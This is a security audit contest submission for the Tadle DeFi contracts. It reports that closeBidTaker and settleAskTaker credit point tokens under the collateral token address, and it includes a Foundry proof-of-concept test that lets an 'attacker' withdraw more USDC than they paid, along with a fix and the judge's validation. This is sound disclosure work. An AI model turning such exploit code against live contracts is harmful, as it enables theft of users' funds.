Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

PointToken added to balance as makerInfo.tokenAddress instead of marketPlaceInfo.tokenAddress in DeliveryPlace::closeBidTaker and DeliveryPlace::settleAskTaker is

0xrststn

Summary

When point tokens are distributed in closeBidTaker and settleAskTaker, instead of increasing the balance of marketPlaceInfo.tokenAddress, the balance of makerInfo.tokenAddress is increased instead:

uint256 pointTokenAmount =
offerInfo.settledPointTokenAmount.mulDiv(userRemainingPoints, offerInfo.usedPoints, Math.Rounding.Floor);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken, _msgSender(), makerInfo.tokenAddress, pointTokenAmount
);

Vulnerability Details

The makerInfo.tokenAddress is the token used for buying/selling points and for collateral (i.e. USDC or WETH). When points are distributed, by increasing this balance instead of marketPlaceInfo.tokenAddress, the obvious bug is that users will not get their point tokens.
There is, however, another vulnerability that happens if the value of _tokenPerPoint set in SystemConfig::updateMarket is more than 1e18; that means that users will get more tokens than points they had. Let’s consider the following scenario:

  • An offer is created by a maker for 1000 points at USDC1000

  • A user buys 100 points for USDC100

  • The offer is completely sold off

  • Later, the offer is settled with:
    o settledPoints: 1000
    o tokenPerPoint: 3e18 hence,
    o settledPointTokenAmount: 3e21

  • This user’s TokenBalanceType.PointToken balance is increased to 3e20

  • Since this balance is added as makerInfo.tokenAddress and it is more than the initial USDC100 this user spent, he can withdraw it and get USDC300.

PoC

Add this to PreMarkets.t.sol:

function test_withdraw_point_token_as_USDC() public {
capitalPool.approve(address(mockUSDCToken));
​
vm.startPrank(user);
// Creates a turbo offer
preMarktes.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1000 * 1e18, 12000, 300, OfferType.Ask, OfferSettleType.Turbo
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
​
deal(address(mockUSDCToken), attacker, 1_000 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
assertEq(mockUSDCToken.balanceOf(attacker), 1_000 * 10 ** 18);
​
// Attacker buys 100 points
preMarktes.createTaker(offerAddr, 100);
address stock1Addr = GenerateAddress.generateStockAddress(1);
​
vm.stopPrank();
​
vm.startPrank(user2);
//user2 buys the rest of the offer so it is completely sold off
preMarktes.createTaker(offerAddr, 900);
​
vm.stopPrank();
​
vm.prank(user1);
// Update market so block.timestamp > tge => status is AskSettling
// _tokenPerPoint updated to 3e18
systemConfig.updateMarket("Backpack", address(mockPointToken), 3e18, block.timestamp - 1, 3600);
​
vm.startPrank(user);
​
mockPointToken.approve(address(tokenManager), type(uint256).max);
// The offer maker settles the offer with 1000 points
deliveryPlace.settleAskMaker(offerAddr, 1000);
​
vm.stopPrank();
​
vm.startPrank(attacker);
// Attacker withdraws the point tokens as USDC
deliveryPlace.closeBidTaker(stock1Addr);
uint256 attackerPointToken =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.PointToken);
​
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
console2.log("Attacker USDC balance after attack", mockUSDCToken.balanceOf(attacker));
}

As can be seen, the attacker started with USDC1,000 and ended up with USDC1,196.5

Tools Used

Foundry

Recommendations

uint256 pointTokenAmount =
offerInfo.settledPointTokenAmount.mulDiv(userRemainingPoints, offerInfo.usedPoints, Math.Rounding.Floor);
tokenManager.addTokenBalance(
- TokenBalanceType.PointToken, _msgSender(), makerInfo.tokenAddress, pointTokenAmount
+ TokenBalanceType.PointToken, _msgSender(), marketPlaceInfo.tokenAddress, pointTokenAmount
​
);
Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.